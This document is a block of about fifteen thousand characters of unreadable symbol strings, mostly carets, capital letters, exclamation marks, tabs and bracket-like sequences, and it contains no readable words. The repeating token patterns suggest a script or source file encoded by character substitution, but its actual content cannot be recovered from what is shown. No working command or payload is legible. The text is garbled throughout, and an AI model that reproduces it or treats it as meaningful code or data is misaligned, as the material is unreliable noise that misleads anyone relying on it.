G^^P^^KO	VOHHHW^^^P^^Z
I!K^P^^KO	VLLNHWEt^^^^^V>M!VLLLFWVZ	GONH
KW^^XX^^V
W^^>MHFKVOGMJWVZ	GONH
KW^^^^^^@^VJKJUJHWW^^t^^^^^ZLJH	O!O^^C^^^^^^Z
G^^^P^^^^^^KO	VOHGLW^^P^^^Z
I!KEtt^Z
H!O^^^^^C^^>KO	VLLLGWVZLJH	O!OW^^^^A^^^^M!VOIIKWVV
W^^>MHFKVLOFKWVZLJH	O!OWW^^D^^^^\\Ettt^^^^^^VZ
H!O^^^_CC^\\^XX^GHNVLLLMWVKO	VLLMNWW^XX^>K!VZ	GONH
KW^CCC^Z
H!OW^^^t^^>^^^^Z	GONH
KEt^^^^^
Et^^^t^^^^^VZ
H!O^_CC^^\\W^^^^t^^^^^OM	VZ	GONH
KWEt^t^^^^
VZLJH	O!OR^^Z
H!OWEt^tt^^^
VZ!HIO	R^ZGH	O!WEt^^^^^VKO	VLLMOWVM!VGNOWWW^>
!

VJ	VOHGMWWEt	IILI	FVWEt^^^^^^
^^V*	^^^^ZMN!W^^t^^!LNLVGHNVLLMLWR^ZMN!WEt^^^
^^^^V;
^^ZMN!W^t^^t^t
^!N	NGVWtttQQ^3-/2^4-10^
D^
S^
tt^^^^
^t^^^V_VGHNVLLLLWWW^
Etttt	NJNLI
	VWEtZHMFF^C^^^KO	VLLMMWVK		HK!	VWR^^^^J	VLLNHWWEt^ZO^C^^^^^^K		HK!	VWEttZ!FH!M^^^C^\\Et^V>M!VLLLGWVZOW^^XX^^>KO	VOGMJWVZOW^^@^^^^VJGNIUGMWW^^t^^ZHOF^^^C^^V
W^^^^>M!VLOFKWVZOWEt^^^^^ZONH^^C^^MHFKVLLMOWVM!VLLMJWW^^^A^^!ML!JNGNVZHOFW^^^^D^ZHOFEt^^^^^^VMHFKVLOGGWVZONHW^XX^^^^^MHFKVLLMKWVZONHW^^^^^@^^VNKUNOGKW^XX^^JKOOFVZONHWW^Z!FH!M^C^^^^ZONHEt^^^^
VZHOFR^ZONHWEtt^t^^^^^^^VZ!FH!M^^^CCC^\\W^^^t^^ZOLLFM^^^C^K!NGJ	V?<-.?*6^^^^P^^^MHFKVOHMHWR^^VOKG OJGWWEt^ZIIJONFI!K^^^^C^^^M!VLLMOWVGHNVLOJLWW^A^^>
!
VZOLLFMR^^^^\\W^^D^^^^^\\Et^^^^^^V_ZIIJONFI!K^^^M!VLLMKWVZIIJONFI!KW^^^^^B^^VNONUNOJWW^
Et^^^^^^^Z!FH!M^C^^^^^	GOJOF	HFFOG!VGHNVLLMHWVZIIJONFI!KWWEt^^^^^^^V_Z!FH!M^^^^^^KO	VLLMKWVZ!FH!MW^^B^^^VJGLUFWW^^
Et^^^^V_JKOOFVZ!FH!MWW^^^^t^^!LNLVJ	VLLMIWR^^KO	VOLGIWWEtttt^^
Ett^^t^^^ZII!N	GNL^C^J
J!	VWEtZ!J!J^^^^C^ZII!N	GNL^^^^P^KO	VLNKFW^^^P^^^ZHMFFEt^^^^Z	GJI!HM^^C^Z!J!J^^^P^^^^YQY^P^^ZHMFF^P^^^^J	VLLMFWEt^^^V_>J	VLLMGWVZ!J!JWW^OF!NKIOVZ!J!JR^^^VJKKUMFWR^^
WEtttt^ZLMGJGNM^^^^C^>GHNVLLLGWVZ	GJI!HMW^A^V
W^>M!VLOFKWVZ	GJI!HMW^^^D^^^\\EtZ
F^^^^C^^^Et^^^VZLMGJGNM^^^_CC^\\^^XX^^^M!VLLJNWVMHFKVLLJOWR^^GHNVLLJLWVZLMGJGNMR^^NR^^^^^VJNFGUIWWR^ZJGJHW^^^XX^^!VZJGJH%O#R^^MFKKIO
VWR^Y@YWW^^^^Z
F^C^
Et^
VZJGJHWEt^^^V_Z
F^XX^VZLMGJGNM^^^CCC^^^\\^^^^J	VOFFGWV!ML!JNGNVZLMGJGNMWW^^_CC^^MHFKVLLJMWVZ!FH!MWWW^t^^^^^^VGGLJO!MOVZ	GJI!HMR^^^^^G			JVZ!FH!MWWW^^t^MIFJHVZ	GJI!HMR^^VNUNOGIWWEttFKKL!VZ	GJI!HMWEtK
VZ	GJI!HMWEt^tt^
VZLMGJGNMR^^^Z
FWEtt^VJ	VLLMOWVGHNVLOJLWW^^XX^^MHFKVLLMOWVGHNVOIFOWWW^^^^^^ttt^^^^ZLF	LHH^^^C^ZHMFF^P^^YQY^^P^^^^ZHMFF^P^^^^MHFKVLLMFWEt^^ZNHN^C^^^^^^
!
VM!VLLJJWR^^^VWWEttt^^^^^^V_MHFKVLLOHWVZNHNWW^ZNHN^C^^^^VWEt^^^^^V_J	VLNHNWVZLF	LHHR^^ZNHNR^
WW^^^^^t^^^^^^ZNHN%#^^C^ZLF	LHHEt^^
!
VKO	VLLJJWR^M!VLLJKWVZNHNWWEt^^^t^t^^^ZKNNN^^^C^^^^^JH
GHKVWEt^^^^^^V>M!VLLJHWVZKNNNW^^^OF!NKIOVZKNNNR^^^VJGOULWR^
WW^^t^ZGNGM^^^^^^C^^^ZKNNN^^^^^^P^^^YQY^^P^^^^^ZHMFF^^P^^^MHFKVLLJIWEZ	HLILOFC.6.!70*!3?&Q.6.!70*!3?&EZIFI	
HCZ	HLILOFUOIEt^^ZLMHG^C^^^>M!VLLLGWVZGNGMW^A^^V
W^^^>J	VLOFKWVZGNGMW^^^^^D^^\\Etttt^^^Z!IJHG^C^^^Et^^^^^^^VZLMHG^^^^^^_CC^^\\^^^^^^XX^M!VLLJFWVMHFKVLLJOWR^^^KO	VLLJLWVZLMHGR^NR^^^VJNOIUIGWWR^^^Z!
I!!W^^^XX^^^!VZ!
I!!%O#R^^MFKKIO
VWR^^^^Y@YWW^Z!IJHG^^^C^
Etttt^^^^
VZ!
I!!WEt^^^^^V_Z!IJHG^XX^^^^VZLMHG^^^^^CCC^\\^^^J	VLLJMWV!ML!JNGNVZLMHGWW^^^^^^_CC^^^KO	VLLJMWVZ!FH!MWWW^t^^^^^^VGGLJO!MOVZGNGMR^^^^G			JVZ!FH!MWWW^t^^^^MIFJHVZGNGMR^^^^VMFLUMFWWEtFKKL!VZGNGMWEtK
VZGNGMWEt^t^^V_Z!IJHGW^^t^Z	M!NOH^C^^^^^^>M!VLLJGWVZGNGMWEtttt^^^^^^V_Z	M!NOH^^^^^^^VZ	M!NOH^^^[^^^VNFLMFUNONJHFWW^^^_CC^^^OFGH!JKG
VWW^FKKL!VZGNGMWEtttt
VZ	M!NOHWEt^^^t^^^^
VZLMHGR^Z!IJHGWEtt^^OGMJLJ!KMVZ!FH!MWEt^^^^^^^^^^^^^
^V*	^^^^^^ZMN!W^^^tttt!LNLVM!VLLKNWR^^ZMN!WEt^^^
^^^^V;
^^^ZMN!W^^^t^^t^t
^^^O
MIVWttQQ^^

S^
tt^^^V_
VZ!9;*%YY#W^^^^^_KO	VLLKOWVZ!9;*%YY#WW^
Ett^Z
L	M^^^^C^^Z!9;*%YY#Ett^^^^VZ
L	M^^^^CCC^^G
!FK!VGHNVLNFNWWW^t
^^tQQ^1-,^
tt^^^Z!FN!N^C^JOHMLKLVW^P^YQY^^^^^^P^^^^K!NGJ	V?<-.?*6^^P^^^^KO	VLNFNWR^VNIUNOWW^P^KO	VLLKLWEtZMMLOOK^^^C^^^>GHNVLLLGWVZ!FN!NW^^^A^^V
W^>GHNVOGMJWVZ!FN!NW^^^^D^NEt^^^VZMMLOOK^^^^@^VJKHUJJW^XX^^^^ZMMLOOK^^BC^^^^VHFJJGLMSOHNLNJMWW^^t^^^^^^^Z!FN!NEt^t^^^
^^V*	^^^ZMN!W^t^^^^^
^^^^^V;
^^^ZMN!W^^^^^^tt^	^VJ	VJKKWVW^@^^N^^^XX^^^^^>!!VWW^ZCSMKOEZMCVZ@NWAZDSZEt^^^^t^VJ	VLLKMWWEt^^^
Et^^^^^^^^t^^^^VZ
L	M^^^_CC^G
!FK!VMHFKVOMGMWWW^^^^
Et^^^^^
^^t^^^^^VM!VLLMOWVJ	VLOJLWW^^XX^^M!VLLMOWVMHFKVLLKJWWW^^^t^^>
!
VMHFKVKHJWR^^^^V
W^^>
!
VGHNVKHJWR^^^^NW^U^^OR^^^^M!VLNMMWWEt^^^^^tt^^^^^^^^>
!
VM!VKHHWR^^^M!VLLLIWVWR^^MHFKVLNMMWWEt^^^ttt^^^ZJMLJIMJ^^C^MKJLVM!VOJNKWR^^\\WEt^^^VGHNVLLKKWVZJMLJIMJW^^@^^^^^VHNUJNW^^^^XX^^_KO	VLLKHWVKO	VLLKIWR^^ZJMLJIMJW^^XX^^^KO	VLLKFWVGHNVLLKGWR^^ZJMLJIMJWW^^t^ZIKL^^C^>J	VLLMHWVZJMLJIMJR^^^^
WEt^^^^^^VZIKL^^^_CC^^^^^^XX^^MHFKVLLKKWVZIKLW^@^VOLHSLHWW^ZJMLJIMJ^C^^^^ZIKLEtttt^^^^t^^^VKO	VLLKKWVZJMLJIMJW^^^B^VLJUIHWW^ZJMLJIMJ^^C^^OF!K!!VWEt^^^^^^VKO	VLLHNWVZJMLJIMJW^^^^^B^^VONLSLWW^t	^^VKO	VJKKWVW^^^@^^^^N^^^XX^^^^>!!VWW^^t^^t^^VMHFKVLLHOWWEttttVJ	VLLHLWWEt^^^^VJ	VLLHMWWEtt^
Et^^^tttt^ZK!
^^C^^^MKJLVM!VLLHJWR^^^\\WEt^Z
I
H
^^^^^C^^Y\Y^P^M!VLLJMWVZK!
^^^^^P^^^^ZJMLJIMJW^^P^^Y\YEtttt^^^^^V
VZ!-;,(;,%M!VLLHKW#W^^^^XX^^^^^^GHNVLLHHWVZ!-;,(;,%KO	VLLHKW#W^^^^CCC^^^Z
I
H
W^ttt^^^^	^^^VMHFKVJKKWVW^^^^^@^N^^XX^>!!VWW^^^t^t^^VJ	VLLHIWWEt^VMHFKVLLHFW^^P^Z
I
H
WEt^^^
Et^^^^^t^	^^^VJ	VLLHGWVW^^^@^^^^^N^XX^^>!!VWW^^^^^ZIKFL
ICLOMLOMEZ
MCZIKFL
I GLEt^^^^^t^^VKO	VLLINWWEtVGHNVLLHLWWEttt^^VM!VLLIOWWEtt^VMHFKVLLHFW^^^^^P^^^^^^Z
I
H
WEt^^^^^ZK!
^^P^^ZJMLJIMJEt
Et^^^^^^^^^^
^^^V*	^ZMN!W^^^^^t^!LNLVKO	VLLILWR^^^ZMN!WEtttt^^
^^^^V;
^ZMN!W^^^^t^^!LNLVJ	VLLILWR^^^ZMN!WEt^ttt^^^^^^t^O
MIVWEt^
^^FKLJON	JVWt^^^^^t^^V_
VZ!9;*%MHFKVLLIMW#WW^
Et^
^^t^^^Z
K

^C^^Z!9;*%M!VLLIJW#Et^^^^^^^^V_MHFKVLLKOWVZ
K

W^^^Z
K

^CCC^^^^\\W^^^
Et^Z
K

^C^^^KO	VOJNIWVZ
K

WEtZNKI^C^^VWEt^^^^VGHNVLLMOWVM!VLLIKWWW^^^ZNKI%#^^^C^^^V
W^^GHNVOHFJWV!VWR^.6.!+,2!61-*WEt^^^^^VKO	VLLMOWVMHFKVLLIHWWW^^tZ	H	!
^C^^^V
W^^^>
!
VMHFKVHJKWR^^\\WEtttt^^^^^VZ	H	!
^_CC^\\W^^ZNKI%#^^^^^C^^^^V
W^^^^M!VOHFJWVZ	H	!
R^^^.6.!+,2!61-*WEtt^^V
VZ!-;,(;,%GHNVLLIIW#WW^^^ZNKI%#^^^C^V
W^^^^^Z!-;,(;,%J	VLLIIW#Et^^^^ZNKI%#^C^^^FK!G!NV\\WEt^^^^^^ZOFM^^C^^^Et^^^^^^^VKO	VOLFGWVZNKIW^^^^ZNGW^^^t^^^^^^^^^V_MHFKVLLKOWVZNGW^^^^^ZNG^CCC^^^^^\\W^^^
Et^^^^^^VJ	VLLNOWVZNGR^^YDYW^^^^_CC^^^^^W^^^^ZNG^^C^^MHFKVLOKKWVM!VLLIFWR^^\\R^^^^^^ZNGWEZNICFIKIEZI
HF
CZNI[KEt^^VK!NGJ	VJ	VOJNIWVZNGW^^P^MHFKVLLIGWR^^VNFUNJWW^CCC^^Z
K

W^t^^^^ZOFM^C^^^
Et^Et^^ttQQ^^ttttt^^^^V_ZOFMW^^^^^
EtZILON^^C^KO	VOJNMWVJ	VLLFNWR^VLGUOWWEttt^^^^^ZONO^^C^	GOJOF	HFFOG!V!FGMON
GVZILONWWEt^^	^^^VGHNVLLHGWVW^@^^^N^XX^>!!VWW^^^^t^^tVGHNVLLFOWWEt^VKO	VLLFLWWEtt^^^VZONO^CCC^^ZILONW^^^A^GHNVLLFMW^^^^P^M!VLLJMWVZILONW^^^^^D^M!VLLFJWEt^^^^^
Ettt^^^^^^^
^V*	^^ZMN!W^t!LNLVGHNVLLFKWR^ZMN!WEt^^
^^^^V;
^^ZMN!W^^^t^^^^!LNLVGHNVLLFKWR^^ZMN!WEt^t^ttt^FKLJON	JVWEt^^^
^OMJI	KOVWt^^t^^
^^t^^^^^VMHFKVLLMOWVKO	VLLFHWWW^^^
!!VWEt^^^^^^VMHFKVLLMOWVMHFKVLLFIWWW^^	M
!!VWEttt^^^^^VJ	VLLFFWVJ	VHNGWWW^^^!!!VWEt^^^VKO	VLLFFWVMHFKVLLFGWWW^^^
!!VWEt^^^^^VKO	VHONWVJ	VLLGNWW^XX^^^GHNVLLGOWVGHNVLLGLWR^^M!VLLGMWWW^^2
-!=!?.7DD!VWEt^^VKO	VHONWVJ	VLLGJWW^^^XX^J	VLLGOWVMHFKVLLGJWR^J	VLLGKWWW^^<!.=DD!!VWEtttt^^^^^^^^VJ	VLLGHWVJ	VHOOWW^^XX^^^J	VLLGOWVGHNVHOOWR^GHNVLLGIWWW^=!;DD!

!VWEt^^^^VJ	VLLFFWVGHNVLLGFWWW^	!!!VWEt^^^^^V
VZ921<?2-%MHFKVHOLW#W^^XX^GHNVOMMIWVZ921<?2-%J	VHOLW#W^^^XX^KO	VLLGGWVZ921<?2-%MHFKVHOLW#R^^^MHFKVLMNNWWW^Z921<?2-%GHNVHOLW#S@
=V
WEt^^^^^^^^VJ	VLMNOWVMHFKVLMNLWWW^^	!!!VWEt^^VGHNVLLGHWVMHFKVLMNMWW^^XX^^^^GHNVLLGGWVMHFKVLMNMWR^^^^^J	VLMNJWWW^^^^

=DDVWEtt^!LNLVKO	VJGLWR^^^GHNVLMNKWWEt^^
^^^^V*	^^^^ZMN!W^^tt^!LNLVKO	VLMNHWR^ZMN!WEtttt^^^^
^^^V;
^^ZMN!W^^^^t^^^t^^^^^^t^^
^^
NKVWt^^^^^^t^^^VKO	VLMNOWVKO	VGNFWW^^XX^^!VWW^^^
^^
Et^^VM!VLMNOWVM!VLMNIWW^^XX^^	!!VWW^^^^^
^^^
Et^^^^^^VVMHFKVLMNFWW^^^^^XX^,;-*!,;/+;-*W^^^
^
Et^^^^^^^^^^VVJ	VLMNGWW^XX^^&32,.=!,;/+;-*W^^
^^
Et^^^^^^^^^VKO	VLMONWVM!VLMOOWW^XX^!VWW^^^
^^^
Ettt^^VKO	VLMOLWVM!VLMOMWW^^^^XX^!
VWW^
^^^^^
Et^^VKO	VLMOJWVM!VLMOKWW^XX^^^^^!
VWW^^^
^^
Et^^VKO	VLMOJWVJ	VLMOHWW^^XX^^^!
!	VWW^
^^^
Et^^V
VZ!9;*%M!VLMOIW#W^^^^^
VZ!9;*%M!VLMOFW#W^^^^^^
VZ!9;*%J	VLMOGW#WW^^^^
^
Et
^^EZILI!CHITKEZJHOCZILI!SJGEt^^tt^^^^^^t^
^^^^^MVWttt^Z!NN	M^^^C^^V
VZ921<?2-%MHFKVILNW#W^^^^^XX^^^MHFKVLLKOWVZ921<?2-%KO	VLMLNW#WW^^A^KO	VLMLOWVZ921<?2-%KO	VLMLNW#W^^^D^^\\Etttt^^^^^^^^VZ!NN	M^^^^^^CCC^^^^^\\W^
^^^^^\\EtZ!NN	M^^^^^C^^^MHFKVLMLLWVKO	VLMLMWR^M!VLMLJWR^Z!NN	MWEttt^^Z

FKLKF^^C^^J	VLMOJWVMHFKVLLIKWW^^A^^V
W^^^J	VOHFJWV!VWR^.6.!+,2!61-*W^D^\\Et^^^^^Z	!J	JJ^^^^C^^^K!NGJ	VKO	VLMLKWVZ

FKLKFWR^VNJUNLWWEt^tt^^^^ZMF^C^^^^^^KO	VLMLHWVJ	VLLJMWVZ!NN	MWR^^^^^NR^^VNMUNMWWEt^^^^
^^\"B
^
SC"\\^P^^Z	!J	JJ^P^^YSY^^P^ZMF^^P^^^\"\@"\^^P^^^^Z!NN	M^^^^P^\"BQ
@"B_SS^\^^P^Z	!J	JJ^^P^YSY^^^P^^ZMF^^^^^P^\^SS@"\Ett
^JKJ	VWt^t
^^^t^^V
NKVWW^
Et^^ZK	KF^^C^MVWEt^^^VZK	KF^^^^^CCC^^^\\W^^
Et^ZK	KFEt^^Z921<?2-%KO	VKKIW#^C^
Etttt^^^^^VKO	VLMOJWVGHNVLMLIWW^^^XX^^MHFKVLMOJWVMHFKVLMLFWW^^^^XX^^
VZ921<?2-%MHFKVLMLGW#WW^^t^Z921<?2-%MHFKVLMLGW#^C^^
EtZ	LJGF^^^^C^^^V
W^>
!
VKO	VKHOWR^^NWEt^^VKO	VLLLIWVW^^S^^^^^^Z	LJGF^^@^^VJOULKGWW^>
!
VGHNVKHOWR^^GHNVLMMNWVWR^^^^KO	VLMMOWWEt^^^
VZ	LJGFWEt^^^t^^
^^V*	^^^ZMN!W^t^^!LNLVJ	VFOFWR^ZMN!WEt^
^V;
^^^^ZMN!W^^t^^t^^^^^t
^^^^^^KFF!LMLOHVZFO
Wt^^^^^^^t^^^^V_GHNVLMMLWVZFO
W^^^^^^^^^ZFO
^^CCC^^^\\W^
^^ZFO
Et^^^^V_
VZ921<?2-%MHFKVKKIW#WW^^
^^^^ZFO
Ettt^ZK	KF^C^MVWEt^^^^^^^^VZK	KF^^^^^^CCC^^^^^\\W^^^
^^^^^ZFO
Et^^V
VZFO
R^^^J	VLMMMWW^CCC^^^^^XX^^^^
VZFO
R^^^J	VLMMJWW^CCC^^^^W^^
^^^^ZFO
EtZ921<?2-%KO	VKKIW#^C^^^
Et^^Z921<?2-%M!VKKGW#^^^C^^
Et^ZKF^^^^C^^^
VZFO
R^J	VLMMKWWEtt^^^^^VZKF^^_CC^^^^^^W^^tttt
^^^M!VLMLHWVZFO
R^^^^NR^ZKFW^P^ZK	KF^^P^^^^^KO	VLMLHWVZFO
R^ZKFWEt^^^t
^^^^^ZFO
^P^^^^ZK	KFEt^^^^t
^^^KIMKGOJVWt^^^^^t^^
^^^t^^V
NKVWW^^^
Et^V_
VZ921<?2-%M!VLMMHW#WW^
Et^Z!NN	M^^^^C^V
VZ921<?2-%MHFKVLMMIW#W^XX^GHNVLMMLWVZ921<?2-%J	VLMMFW#WW^^^^^A^^^^^^J	VLMLOWVZ921<?2-%MHFKVLMMGW#W^^^D^\\Ett^^^^^VZ!NN	M^^^^^^CCC^\\W^^^
Et^^^^^^Z921<?2-%GHNVLMJNW#^^^^^^C^^^
Et^>GHNVLMJOWVKO	VLMJLWWEt^^^
^^^^^V*	^^^^^ZMN!W^t!LNLVKO	VKKFWR^ZMN!WEt^^^^^^^^^^
^^V;
^^^^ZMN!W^^t^t^^tttt^^
^	K	J!	IFVWtt^t^^
^^^^^^t^^^^V_!VW^^XX^^V_
VZ921<?2-%GHNVLMJMW#W^^^^^Z921<?2-%GHNVLMJMW#^_CC^^^^^M!VLMJJWWW^
Et^^^^^^^^^^^VMHFKVLMOJWVMHFKVLMJKWW^^^^^XX^_!VWW^
Et^^^^Z!IM
OO^C^^^^^MKJLVMHFKVLMJHWR^^\\WEttZ	!J	JJ^C^^^^^K!NGJ	V?<-.?*6^P^^^J	VFOFWR^^VKUOWWEt^^ZHOKG^^^^C^^^^^KO	VOIOJWEt^^^^VZ!IM
OO^^CCC^^\\W^tQQ^>
^Stt^^^^^VKO	VLMJIWVMHFKVLMJFWW^^XX^V
W^^^^>
!
VKO	VKHFWR^^^NWW^^^t>
!
VJ	VKHFWR^^^NR^^^^M!VLMJGWWEt^^^^Z	MHIJI^^C^^^^^V
W^^^>
!
VKO	VLMKNWR^^\\WEt^^^\"\^^^P^^^^J	VLMKOW^^^P^^Z	!J	JJ^^^P^^Y@Yt^P^^^J	VLMKLWt^P^KO	VLMKMW^^^^P^ZHOKGVJ	VLMKJWW^^P^^KO	VLMKKWt^^^^P^^^^^GHNVLMKHW^P^^MHFKVHIFWVZ	MHIJIW^^^^^^P^^^^^^YEYtttt^^^^P^^^^^KO	VLMKIW^^P^^^ZHOKGVGHNVLMKFWW^P^^^J	VLMKGWtt^^^^P^^^MHFKVLMHNW^^^^P^^^ZHOKGVMHFKVLMHOWW^^P^M!VLMHLW^^P^ZHOKGVJ	VLMHMWW^^P^^^KO	VLMHLW^^P^ZHOKGVKO	VLMHJWW^^P^GHNVLMHKW^^^P^^^^ZHOKGVMHFKVLMHHWW^P^KO	VLMHIWtt^P^^^^^J	VLMHFW^^P^^^ZHOKGVGHNVLMHGWW^^^P^^^KO	VLMINW^^P^^^^^ZHOKGVKO	VLMIOWW^^^P^^MHFKVLMILWt^P^^J	VLMIMW^^^P^^^^\"\Etttt^^^
VZ	MHIJIWEt^^^^t^
Ett^^^^t^^^^^^^^Z!IM
OO^^C^^^^MHFKVLMLLWVJ	VOMKOWR^^J	VLMIJWR^^^^Z!IM
OOWEtt^^^^VMHFKVLLNOWVZ!IM
OOR^KO	VLMIJWW^^_CC^NW^^^Z!IM
OO^^^C^GHNVLMIJW^^^^P^^^^^J	VLMIKWVZ!IM
OOR^YQYWEttZOF

^^C^^^^^YQYEt^^^^^^VGHNVLMJIWVMHFKVLLIKWWW^^^tt^^^^^^ZIK!		^^^C^^^^^V
W^^M!VOHFJWV!VWR^^^.6.!+,2!.?*6WEt^^^^^^^VZIK!		^^_CC^^\\^^XX^^^^ZIK!		^^^_CC^^^^YQYW^ZOF

^^C^J	VLLNMWVZIK!		R^YQYW^P^YQYEt^^^^^^t^^VGHNVLMJIWVJ	VLMLFWWW^^t^^>
!
VKO	VKHFWR^^^OR^^^M!VLMJGWWEt^>
!
VKO	VLMKNWR^Z!IM
OOR^KO	VLMJGWWEtt^^^^^^ZO
F!^^C^J	VLMKOW^P^^^Z	!J	JJ^P^^Y@YtP^^^^^GHNVLMKLWt^^^^P^^^M!VLMKMW^^^P^^^ZHOKGVM!VLMKJWW^^P^^^M!VLMIHWttP^^^J	VLMIIWt^P^KO	VLMIFW^P^^ZHOKGVJ	VLMIGWW^^^^P^GHNVLMFNW^^P^^^^J	VLMFOWVZ!IM
OOW^^^P^YWYt^P^^M!VLMFLW^^P^ZHOKGVMHFKVLMFMWW^P^^MHFKVLMFNW^P^^GHNVLMFJWVZ!IM
OOW^^P^KO	VLMFKW^^P^^^M!VLMFHWVZOF

W^P^KO	VLMFIW^^^^P^^ZHOKGVGHNVLMIOWW^P^^^M!VLMFFWtP^^^^^^J	VLMFGW^^^^P^^^^ZHOKGVGHNVLMIOWW^^^^P^GHNVLMGNWtP^^^^J	VLMGOW^P^^ZHOKGVKO	VLMGLWW^^^P^MHFKVLMGMW^^^^P^^^^^ZHOKGVMHFKVOILWW^^P^M!VLMGJWtP^^GHNVLMGKW^^P^ZHOKGVGHNVLMGHWW^^^P^MHFKVLMIHWtP^^^M!VLMGIWt^P^^J	VLMGOW^^P^ZHOKGVJ	VLMGFWW^^^^P^KO	VLMGGWt^^^^P^^KO	VLJNNW^^^P^ZHOKGVKO	VLMHOWW^P^^J	VLJNOW^P^^^ZHOKGVM!VLJNLWW^P^J	VLJNMWt^^P^^MHFKVLMIMWEt^^^^^\"\^^^P^^^^ZO
F!^^^^P^\"\Et^^^^
^V*	^^ZMN!W^^t^^^!LNLVKO	VLJNJWR^^^ZMN!WEttt^^^^^^^^^^^
^^^^^V;
^^ZMN!W^^t^^^^^^^^!LNLVJ	VLJNJWR^ZMN!WEttt^^^tttt^^^^^^^^V
M
MVWW^^^t^^^
Et^^^^tQQ^).^;

^,D^^

ttJ
G	JINFOVWEt^^ZKFM^^^^C^^>J	VLLJGWVK		HK!	VWWEt^^^^^^V_ZKFM^^^^^^VZKFM^^^^^[^^VJFMIOUKOHLGWW^^^_CC^^^OFGH!JKG
VWW^^t^ZIGKIN^C^MHFKVLMMNWVWEZCOMKKHEZLILCZ MHEt		KOLLVK		HK!	VWR^^^VZIGKIN^^^^^^S^^^VZIGKIN^^^[^^VNOIJHUNKWWW^^^U^OFGH!JKG
VWWEt^
VZIGKINWEtt^
VZKFMWEt^
^^t^^^Z	IL^^^C^!!872;!!EtZL		FOK^^C^^^\\Et^^^^ZFJMF	!	O^^^^C^^^^>MHFKVLJNKWVZ	ILR^R^R^^^NR^^VOKMOULKHKWWEtt^^^^^^^VM!VLMMLWVZFJMF	!	OW^^XX^GHNVLLKFWVKO	VLJNHWR^^ZFJMF	!	OR^^^ZM
OFIWW^ZL		FOK^C^^^^ZM
OFI%O#Etttt^^^^^^^VZL		FOK^^_CC^^^^\\^XX^^^^VJ	VLLOJWWW^tZ
JGNN^^^^C^VWEtZ!N^C^VJ	VLJNIWW^^A^^^).3+!.2+970!:7,^^D^^).!=10*;0*!:7,^P^^KO	VOHWEt^^^^^^^^ZMO
OM^^C^^^^^VKO	VHWW^A^^^).!.2+970!:7,^^D^^^).!=10*;0*!:7,^^P^^^MHFKVLJNFWEt^^^ZL
G	G^^C^Ett^^^^VKO	VLMJIWVJ	VLONIWWW^^t^^^ZFMIFKINK^^^C^>GHNVLJNGWVZ!NW^^A^>MHFKVLONIWVZ!N^^^^P^^^KO	VHHJWW^^D^EtZ
MHO^^C^^^^>M!VLONIWVZMO
OM^^P^GHNVKNMWWEt^^^VM!VLLOHWVZFMIFKINKW^^M!VLLOHWVZ
MHOWW^^^t^^ZL
G	G^^C^^^^^^
Etttt^^VVW^ZFMIFKINK^^^^ZO
W^^^^Z
JGNN%#^^C^^ZO
Et^^VVW^Z
MHO^^^^ZO
W^^^^^Z
JGNN%#^^^C^ZO
EZNCIFTFEZHFFCZNSJNEt^^^^^t^^
VZFMIFKINKR^^Z
MHOWEt^^tttt^^^^^^^^V_ZL
G	GW^^^t^^^^Z!NO
I!
G^^^C^^>KO	VLJNGWVZ!NW^^A^	MLGG	KH!!!VZ!NW^^^D^^^Et^^^^VGHNVLJONWVZ!NO
I!
GWW^^^^^^VZ!NO
I!
G^^^^^^^ZKMF!
!W^t^^^VJ	VLJOOWVZKMF!
!R^SVMG MKWW^^CCC^^^^MHFKVLLKLWW^^^Z
JGNN%#^^C^^^^^^Z!N^^P^^^YQY^^^^^^P^ZKMF!
!Et^^t^^^Z!NO
I!
G^^^^C^^^>MHFKVLJNGWVZMO
OMW^^^A^	MLGG	KH!!!VZMO
OMW^^^D^Et^^^^tt^VGHNVLJONWVZ!NO
I!
GWW^^^VZ!NO
I!
G^^^^^^ZKMF!
!W^^t^^^Z!M!OK^^^^C^^^^ZMO
OM^P^^YQY^^^^^^P^^ZKMF!
!Et^^^^^^^V_>M!VLJNGWVZ!M!OKWW^
Ettt^^^^ZNK^C^^^^^	MLGG	KH!!!VZ!M!OKWEt^V_J	VLJONWVZNKWW^
Et^^VZNK^^^Z
MGM
!W^t^^^^^^VJ	VLJOOWVZ
MGM
!R^^SVLULWW^^CCC^^^^KO	VLLKLWW^^Z
JGNN%#^^C^^^Z!M!OK^P^^YQY^^^^^^P^Z
MGM
!Et^^t^t
VZ!NO
I!
GR^^^^ZKMF!
!R^Z
MGM
!R^^^^^Z!M!OKR^^ZNKWEttZM^^C^^J	VLLMMWVZ	ILR^^M!VLLKLWWEt^^^^VZ
JGNN^^^ZO
W^t^^^^VZO
^^^^^CCC^Z	ILW^^
Et^ZJF	GO	^C^>KO	VLLJGWVZO
WEt^^^^^V_ZJF	GO	^^^^^^^^^^VZJF	GO	^^^[^VONJFFOSJFFOWW^^_CC^^^VOIKKIGSFOIHNWW^t^ZKNHOL^^C^^^>MHFKVOGMJWVZO
WEt^^^^^V_ZKNHOL^^^^ZKNHOL^B^^VHMMSOMMW^^^^^ZKNHOL^^@^^VNLHMJFGUNOIIWW^
Ett^ZFJMF	!	O^^C^^^^>KO	VLJNKWVZO
R^^^R^^^R^NR^VJNJIUJGWWEtttt^^^^^^V_KO	VLMMLWVZFJMF	!	OW^^J	VLJOLWVZFJMF	!	OR^M!VOGMLWW^^^CCC^^W^^^^^
Ett^V_M!VLJOMWVM!VLJOJWR^^ZFJMF	!	OR^^ZM
OFIWW^^^
Et^^^^VJ	VLLMMWVZO
R^^MHFKVLLKLWW^^^CCC^^^^^ZM^^^XX^ZM
OFI%O#^CCC^^^ZL		FOKW^^^^t^^^^^^^V_OM
JO!IFVZO
WW^^tQQ^).^-^<^
^
tt^^VHOMFHJVZO
R^ZO
^P^^MHFKVLNOOWW^^XX^^^^^GHNVLMJIWVGHNVLJOKWWW^^^>!
VZO
R^^^^
WEt^^t^
Et^^^^t^^^^^^^^^^V!VZM
OFI%O#R^^ZL		FOKR^YBYWW^^^tZHLJI^^^^C^^
GH!	G
JGVZO
WEt^^^^VZHLJI^^^CCC^^^^^^W^^^t^!LNLVGHNVOGKMWR^^^^GHNVLNONW^^^P^^KO	VLJOHWVZO
WWEt^^
EZFH!C.6.!70*!3?&Q.6.!70*!3?&EZ
HCZFH!UMEt^^^^^t^^^^^^^VZHLJI^^^^CCC^
W^^t^^^VHOMFHJVZO
R^^ZO
^P^KO	VLNOOWWW^^t^^^^^^^^^VMHFKVLMJIWVJ	VLJOIWWW^>!
VZO
R^^^^
WEZOHLKCMLNEZ	
LCVZOHLK@NWAZOHLKDSZOHLKEtt^>GHNVOGGHWVKO	VLJOFWVZO
W^^P^^^^MHFKVOGKLW^^^P^^^KO	VLJOHWVZO
